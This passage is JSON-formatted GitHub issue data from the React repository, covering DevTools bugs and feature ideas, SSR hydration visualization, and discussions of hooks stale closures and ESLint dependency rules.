"login": "tomsseisums", "id": 1030080, "node_id": "MDQ6VXNlcjEwMzAwODA=", "avatar_url": "https://avatars.githubusercontent.com/u/1030080?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tomsseisums", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2019-11-02T10:44:08Z", "updated_at": "2019-11-02T15:45:02Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\nAn error gets thrown when using DevTools Profiler on **Electron** with the \"**Reload and start profiling**\" feature that leaves Profiler in an unexpected state - the profiling session does not end.\r\n\r\nI initially opened [the issue over at Electron](https://github.com/electron/electron/issues/20915), but [got asked to get your opinion first](https://github.com/electron/electron/issues/20915#issuecomment-548996868).\r\n\r\n**What is the current behavior?**\r\n\r\n- Open React DevTools Profiler in **Electron**\r\n- Click \"Reload and start profiling\"\r\n- Await reload\r\n- Do actions\r\n- Click \"Stop profiling\" - does not work\r\n- Because there are errors in console (actually thrown immediately after reload, don't have to do any extra actions):\r\n ```\r\n Access to XMLHttpRequest at 'chrome-extension://react-developer-tools/build/renderer.js' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.\r\n ```\r\n ```\r\n Uncaught DOMException: Failed to execute 'send' on 'XMLHttpRequest': Failed to load 'chrome-extension://react-developer-tools/build/renderer.js'.\r\n ```\r\n\r\n![Errors after triggering profiler](https://user-images.githubusercontent.com/1030080/68028419-81e81580-fcbd-11e9-85ae-58b8437df6d8.png)\r\n\r\n![The respective code in React DevTools](https://user-images.githubusercontent.com/1030080/68028680-1ce0ef80-fcbe-11e9-9b63-4fa0494af0dd.png)\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\nYou'll have to use [Electron Fiddle](https://github.com/electron/fiddle) for this one with this gist: https://gist.github.com/joltmode/82574cab4970def210dac0c68d4c34b8\r\n\r\n**What is the expected behavior?**\r\n\r\n- Open React DevTools Profiler\r\n- Click \"Reload and start profiling\"\r\n- Await reload\r\n- Do actions\r\n- Click \"Stop profiling\"\r\n- See profiler results\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\n- React 16.11.0\r\n- Latest version of DevTools\r\n- Electron 6.1.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17254/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17140", "id": 509307804, "node_id": "MDU6SXNzdWU1MDkzMDc4MDQ=", "number": 17140, "title": "SuspenseList in DevTools could cycle through the Suspense states", "user": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2019-10-18T20:59:21Z", "updated_at": "2020-01-08T19:08:53Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "We currently have a way to force a fallback on a Suspense boundary in DevTools.\r\n\r\nIt might be cool to have a \"play\" button or something on SuspenseList that cycles through the states.\r\n\r\nE.g. if it's \"together\" mode it shows all the fallbacks and then switches to showing all the content and then back again in a loop.\r\n\r\nIf it's \"forwards\" it shows all the fallbacks then one at a time and then back to all fallbacks. If it's tail \"hidden\" or \"collapsed\" it hides all the ones that are not yet inserted and then inserts one at a time.\r\n\r\nCould be a nice way to demo/test the loading sequence experience.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17140/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17064", "id": 505686267, "node_id": "MDU6SXNzdWU1MDU2ODYyNjc=", "number": 17064, "title": "mouseEnter behaves like mouseOver when using ReactDOM.render() to mount a child element", "user": { "login": "sen14251", "id": 27114212, "node_id": "MDQ6VXNlcjI3MTE0MjEy", "avatar_url": "https://avatars.githubusercontent.com/u/27114212?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sen14251", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2019-10-11T07:28:30Z", "updated_at": "2020-04-01T22:07:46Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\nBug\r\n\r\n**What is the current behavior?**\r\nWhen using `ReactDOM.render()` to mount a child element, `mouseEnter` behaves like `mouseOver` (`mouseLeave` behaves like `mouseOut`). you can see the demo, and when my cursor moves between the red and blue blocks, it will repeatedly trigger mouseEnter and mouseLeave.\r\nhttps://codepen.io/sen-dream/pen/VwwvGbm\r\n\r\n**What is the expected behavior?**\r\nhttps://codepen.io/sen-dream/pen/WNNQgoy\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\nTestes with React 16.8 on Chrome/macOS. It didn't work in previous versions.\r\n", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17064/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17003", "id": 502167180, "node_id": "MDU6SXNzdWU1MDIxNjcxODA=", "number": 17003, "title": "DevTools not properly shutting down between reloads in some cases", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 1, "created_at": "2019-10-03T16:24:08Z", "updated_at": "2022-04-17T19:25:28Z", "closed_at": null, "assignee": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Noticed this while testing the recently added \"highlight updates\" feature. It seems like relying on the content script's \"disconnect\" to shutdown things is too late, and we seem to be leaving at least an `Agent` (possibly more) connected.\r\n\r\nI think we may want to add some cleanup code to our initialization path (of the backend) to handle the case where a previous backend instance didn't get to finish shutting down.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17003/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16993", "id": 501749413, "node_id": "MDU6SXNzdWU1MDE3NDk0MTM=", "number": 16993, "title": "Add DevTools visualization for SSR hydration", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "1": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 2, "created_at": "2019-10-02T22:01:29Z", "updated_at": "2023-12-07T18:08:12Z", "closed_at": null, "assignee": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "This feature relates to several new React APIs: concurrent mode, suspense, and server rendering / hydration\r\n\r\n# Background info\r\nWhen hydrating server-rendered content, React starts working on the outermost Suspense boundary and works its way in. During hydration, the server rendered HTML isn't interactive. React records events to replay them once content becomes interactive- (but that doesn't actually happen until React finishes work on the nearest boundary and commits it). React may also reprioritize the order in which boundaries are processed (so that boundaries with pending events get processed sooner).\r\n\r\nThis general process can be hard to reason about and debug, because much of it is not observable visually (beyond some interactions potentially feeling more laggy than expected).\r\n\r\nDevTools already provides some visual overlays (e.g. which elements were rendered by the currently selected Component, [\"highlight updates\"](https://github.com/facebook/react/pull/16989)). Perhaps DevTools could help here too by visualizing which boundaries in the tree have been hydrated.\r\n\r\n# Visualizing hydration progress\r\n1. When React begins hydrating a new root1 DevTools will show a visual overlay2 that covers the entire DOM element container.\r\n1. As React hydrates and commits each new level of Suspense boundaries, DevTools will draw the overlay to only cover the not-yet-hydrated boundaries.\r\n1. Once hydration is completed, all overlays will be cleared3.\r\n\r\nThis feature would be opt-in via a new DevTools setting.\r\n\r\n1 This suggests a new React-to-DevTools hook to inform DevTools when hydration starts.\r\n\r\n2 This overlay would nee to be designed. Perhaps some combination of semi-transparent with stripes or bars so that it is high contrast enough to be seen.\r\n\r\n3 Because the data required to draw these overlays is essentially just a timestamp and a set of rects, some form of replay might be a nice addition.\r\n\r\n# Special cases\r\nIt could be helpful to highlight a couple of special cases by temporarily showing a different style overlay:\r\n\r\n* **Client rendered content inside of a server rendered fallback.** ([This case.](https://github.com/facebook/react/blob/bb680a09052b5af6543daf28bfcc3283bbc35cf9/packages/react-reconciler/src/ReactFiberBeginWork.js#L2030-L2039)) In some cases, the server rendered content may be a forced fallback that gets filled in with client rendered content.\r\n* **React can't complete hydration fast enough to process a client-side update.** ([This case.](https://github.com/facebook/react/blob/bb680a09052b5af6543daf28bfcc3283bbc35cf9/packages/react-reconciler/src/ReactFiberBeginWork.js#L2064-L2074)) In this case, React ends up deleting the server-rendered content and replacing it with client rendered content. For example, a layout effect may set state on an ancestor that updates context. This update is synchronous (because it comes from within a layout effect) so it immediately expires.\r\n\r\nI don't know if the above cases can be reliably detected by DevTools at present. They may require additional information (or an additional React-to-DevTools hook).\r\n\r\nThe following case does **not** need to be highlighted because it is not a deopt:\r\n* **Server rendered content removed before hydration.** In some cases, server rendered content is thrown away before hydration completes because of a user interaction. For example, if the user navigates to a new page before the initial page has finished hydrating.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16993/reactions", "total_count": 7, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16965", "id": 500570869, "node_id": "MDU6SXNzdWU1MDA1NzA4Njk=", "number": 16965, "title": "Devtools Inspect Button Doesn't Work with Repeat Selections", "user": { "login": "lunaruan", "id": 2735514, "node_id": "MDQ6VXNlcjI3MzU1MTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/2735514?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lunaruan", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 0, "created_at": "2019-09-30T23:07:10Z", "updated_at": "2020-01-08T19:09:20Z", "closed_at": null, "assignee": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Maybe we can detect this case by checking $0 and if not we can temporarily select null before reselecting. (?)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16965/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16956", "id": 500206671, "node_id": "MDU6SXNzdWU1MDAyMDY2NzE=", "number": 16956, "title": "Design decision: why do we need the stale closure problem in the first place?", "user": { "login": "slorber", "id": 749374, "node_id": "MDQ6VXNlcjc0OTM3NA==", "avatar_url": "https://avatars.githubusercontent.com/u/749374?v=4", "gravatar_id": "", "url": "https://api.github.com/users/slorber", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 29, "created_at": "2019-09-30T11:07:44Z", "updated_at": "2025-02-04T08:41:39Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Hi,\r\n\r\nI initially asked this on Twitter and @gaearon suggested me to open an issue instead.\r\nThe original thread is here: https://twitter.com/sebastienlorber/status/1178328607376232449?s=19\r\nMore easy to read here: https://threadreaderapp.com/thread/1178328607376232449.html\r\nBut will try to make this issue more clear and structured about my args and questions.\r\n\r\nDon't get me wrong, I really like hooks, but wonder if we can't have smarter abstractions and official patterns that make dealing with them more easy for authors and consumers.\r\n\r\n--------------------------------------\r\n\r\n## Workaround for the stale closure\r\n\r\nAfter using hooks for a while, and being familiar with the stale closure problem, I don't really understand why we need to handle closure dependencies, instead of just doing something like the following code, which always executes latest provided closure (capturing fresh variables)\r\n\r\n![image](https://user-images.githubusercontent.com/749374/65869094-f7d52600-e379-11e9-9634-1ab06b41e3ca.png)\r\n\r\nCoupling the dependencies of the closure and the conditions to trigger effect re-execution does not make much sense to me. For me it's perfectly valid to want to capture some variables in the closure, yet when those variables change we don't necessarily want to re-execute.\r\n\r\nThere are many cases where people are using refs to \"stabilize\" some value that should not trigger re-execution, or to access fresh values in closures.\r\n\r\nExamples in major libs includes:\r\n- Formik (code is pretty similar to my \"useSafeEffect\" above): https://github.com/jaredpalmer/formik/blob/master/src/Formik.tsx#L975\r\n- React-redux, which uses refs to access fresh props: https://github.com/reduxjs/react-redux/blob/b6b47995acfb8c1ff5d04a31c14aa75f112a47ab/src/components/connectAdvanced.js#L286\r\n\r\nAlso @Andarist (who maintains a few important React libs for a while): \r\n\r\n![image](https://user-images.githubusercontent.com/749374/65872332-9d8b9380-e380-11e9-90b3-bf294991bb82.png)\r\n\r\n\r\nWe often find in such codebase the \"useIsomorphicLayoutEffect\" hook which permits to ensure that the ref is set the earliest, and try to avoid the useLayoutEffect warning (see https://gist.github.com/gaearon/e7d97cdf38a2907924ea12e4ebdf3c85). What we are doing here seems unrelated to layout and makes me a bit uncomfortable btw.\r\n\r\n\r\n\r\n## Do we need an ESLint rule?\r\n\r\nThe ESLint rule looks to me only useful to avoid the stale closure problem. Without the stale closure problem (which the trick above solves), you can just focus on crafting the array/conditions for effect re-execution and don't need ESLint for that.\r\n\r\nAlso this would make it easier to wrap useEffect in userland without the fear to exposing users to stale closure problem, because eslint plugin won't notice missing dependencies for custom hooks.\r\n\r\nHere's some code for react-navigation (alpha/v5). To me this is weird to have to ask the user to \"useCallback\" just to stabilize the closure of useFocusEffect, just to ensure the effect only runs on messageId change.\r\n\r\n![image](https://user-images.githubusercontent.com/749374/65869719-3d462300-e37b-11e9-94d2-5200481588bc.png)\r\n\r\nNot sure to understand why we can't simply use the following instead. For which I don't see the point of using any ESLint rule. I just want the effect to run on messageId change, this is explicit enough for me and there's no \"trap\"\r\n\r\n![image](https://user-images.githubusercontent.com/749374/65869777-564ed400-e37b-11e9-8570-12534e5f2a53.png)\r\n\r\nI've heard that the [React team recommends rather the later](https://twitter.com/satya164/status/1178571088172896256), asking the user to useCallback, instead of building custom hooks taking a dependency array, why exactly? Also heard that the ESLint plugin now was able to detect missing deps in a custom hook, if you add the [hook name to ESLint conf](https://twitter.com/n1rual/status/1178568248062877701). Not, sure what to think we are supposed to do in the end.\r\n\r\n## Are we safe using workarounds?\r\n\r\nIt's still a bit hard for me to be sure which kind of code is \"safe\" regarding React's upcoming features, particularly Concurrent Mode. \r\n\r\nIf I use the `useEffectSafe` above or something equivalent relying on refs, I am safe and future proof?\r\n\r\nIf this is safe, and makes my life easier, why do I have to build this abstraction myself? \r\n\r\nWouldn't it make sense to make this kind of pattern more \"official\" / documented?\r\n\r\nI keep adding this kind of code to every project I work with:\r\n\r\n```tsx \r\nconst useGetter = (value: S): (() => S) => {\r\n const ref = useRef(value);\r\n useIsomorphicLayoutEffect(() => {\r\n ref.current = value;\r\n });\r\n return useCallback(() => ref.current, [ref]);\r\n};\r\n```\r\n(including important community projects like [react-navigation-hooks](https://github.com/react-navigation/hooks/blob/master/src/Hooks.ts#L46))\r\n\r\n## Is it a strategy to teach users?\r\n\r\nIs it a choice of the React team to not ship safer abstractions officially and make sure the users hit the closure problem early and get familiar with it? \r\n\r\nBecause anyway, even when using getters, we still can't prevent the user to capture some value. This has been documented by @sebmarkbage [here](https://gist.github.com/sebmarkbage/a5ef436427437a98408672108df01919) with async code, even with a getter, we can't prevent the user to do things like:\r\n\r\n```tsx\r\nonMount(async () => {\r\n let isEligible = getIsEligible();\r\n let data = await fetch(...);\r\n // at this point, isEligible might has changed: we should rather use `getIsEligible()` again instead of storing a boolean in the closure (might depend on the usecase though, but maybe we can imagine isEligible => isMounted)\r\n if (isEligible) {\r\n doStuff(data);\r\n }\r\n});\r\n``` \r\nAs far as I understand, this might be the case:\r\n\r\n> So you can easily get into the same situation even with a mutable source value. React just makes you always deal with it so that you don't get too far down the road before you have to refactor you code to deal with these cases anyway. I'm really glad how well the React community has dealt with this since the release of hooks because it really sets us up to predictably deal with more complex scenario and for doing more things in the future.\r\n\r\n\r\n## A concrete problem\r\n\r\nA react-navigation-hooks user reported that his effect run too much, using the following code:\r\n\r\n![image](https://user-images.githubusercontent.com/749374/65870979-bf374b80-e37d-11e9-8a6c-1f7df8503c18.png)\r\n\r\nIn practice, this is because react-navigation core does not provide stable `navigate` function, and thus the hooks too. The core does not necessarily want to \"stabilize\" the navigate function and guarantee that contract in its API.\r\n\r\nIt's not clear to me what should I do, between officially stabilizing the `navigate` function in the hooks project (relying on core, so core can still return distinct navigate functions), or if I should ask the user to stabilize the function himself in userland, leading to pain and boilerplate for many users trying to use the API.\r\n\r\nI don't understand why you can't simply dissociate the closure dependencies to the effect's triggering, and simply omitting the `navigate` function here:\r\n\r\n![image](https://user-images.githubusercontent.com/749374/65871264-51d7ea80-e37e-11e9-837d-291775853b2e.png)\r\n\r\n\r\nWhat bothers me is that somehow as hooks lib authors we now have to think about whether what we return to the user is stable or not, ie safe to use in an effect dependency array without unwanted effect re-executions.\r\n\r\nReturning a stable value in v1 and unstable in v2 is a breaking change that might break users apps in nasty ways, and we have to document this too in our api doc, or ask the user to not trust us, and do the memoization work themselves, which is quite error prone and verbose. Now as lib authors we have to think not only about the inputs/outputs, but also about preserving identities or not (it's probably not a new problem, because we already need to in userland for optimisations anyway).\r\n\r\nAsking users to do this memoization themselves is error prone and verbose. And intuitively some people will maybe want to `useMemo` (just because of the naming) which actually can tricks them by not offering the same guarantees than `useCallback`.\r\n\r\n\r\n## A tradeoff between different usecases in the name of a consistent API?\r\n\r\n@satya164 also mentionned that there are also usecases where the [ESLint plugin saved him](https://twitter.com/satya164/status/1178395620236759043) more than once because he forgot some dependency, and for him, it's more easy to fix an effect re-executing too much than to find out about some cached value not updating. \r\n\r\nI see how the ESLint plugin is really handy for usecases such as building a stable object to optimize renders or provide a stable context value. \r\n\r\nBut for useEffect, when capturing functions, sometimes executing 2 functions with distinct identities actually lead to the same result. Having to add those functions to dependencies is quite annoying in such case. \r\n\r\nBut I totally understand we want to guarantee some kind of consistency across all hooks API.\r\n\r\n## Conclusion\r\n\r\nI try to understand some of the tradeoffs being made in the API. Not sure to understand yet the whole picture, and I'm probably not alone. \r\n\r\n@gaearon said to open an issue with a comment: `It's more nuanced`. I'm here to discuss all the nuances if possible :)\r\n\r\nWhat particularly bothers me currently is not necessarily the existing API. It's rather:\r\n- the dogmatism of absolutely wanting to conform the ESLint rules (for which I don't agree with for all usecases). Currently I think users are really afraid to not follow the rules.\r\n- the lack of official patterns on how we are supposed to handle some specific hooks cases. And I think the \"getter\" pattern should be a thing that every hooks users know about and learn very early. Eventually adding such pattern in core would make it even more visible. Currently it's more lib authors and tech leads that all find out about this pattern in userland with small implementation variations.\r\n\r\nThose are the solutions that I think of. As I said I may miss something important and may change my opinions according to the answers.\r\n\r\nAs an author of a few React libs, I feel a bit frustrated to not be 100% sure what kind of API contract I should offer to my lib's users. I'm also not sure about the hooks patterns I can recommend or not. I plan to open-source something soon but don't even know if that's a good idea, and if it goes in the direction the React team want to go with hooks.\r\n\r\nThanks\r\n\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16956/reactions", "total_count": 169, "+1": 134, "-1": 0, "laugh": 0, "hooray": 9, "confused": 0, "heart": 9, "rocket": 4, "eyes": 13 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16873", "id": 497635505, "node_id": "MDU6SXNzdWU0OTc2MzU1MDU=", "number": 16873, "title": "[eslint-plugin-react-hooks] allow configuring custom hooks as \"static\"", "user": { "login": "grncdr", "id": 82634, "node_id": "MDQ6VXNlcjgyNjM0", "avatar_url": "https://avatars.githubusercontent.com/u/82634?v=4", "gravatar_id": "", "url": "https://api.github.com/users/grncdr", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 69, "created_at": "2019-09-24T11:45:13Z", "updated_at": "2025-05-16T01:25:14Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nFeature/enhancement\r\n\r\n**What is the current behavior?**\r\n\r\nCurrently the eslint plugin is unable to understand when the **return value** of a custom hook is static.\r\n\r\nExample:\r\n\r\n```jsx\r\nimport React from 'react'\r\n\r\nfunction useToggle(init = false) {\r\n const [state, setState] = React.useState(init)\r\n const toggleState = React.useCallback(() => { setState(v => !v) }, [])\r\n return [state, toggleState]\r\n}\r\n\r\nfunction MyComponent({someProp}) {\r\n const [enabled, toggleEnabled] = useToggle()\r\n\r\n const handler = React.useCallback(() => {\r\n toggleEnabled()\r\n doSomethingWithTheProp(someProp)\r\n }, [someProp]) // exhaustive-deps warning for toggleEnabled\r\n\r\n return \r\n}\r\n```\r\n\r\n**What is the expected behavior?**\r\n\r\nI would like to configure `eslint-plugin-react-hooks` to tell it that `toggleEnabled` is static and doesn't need to be included in a dependency array. This isn't a huge deal but more of an ergonomic papercut that discourages writing/using custom 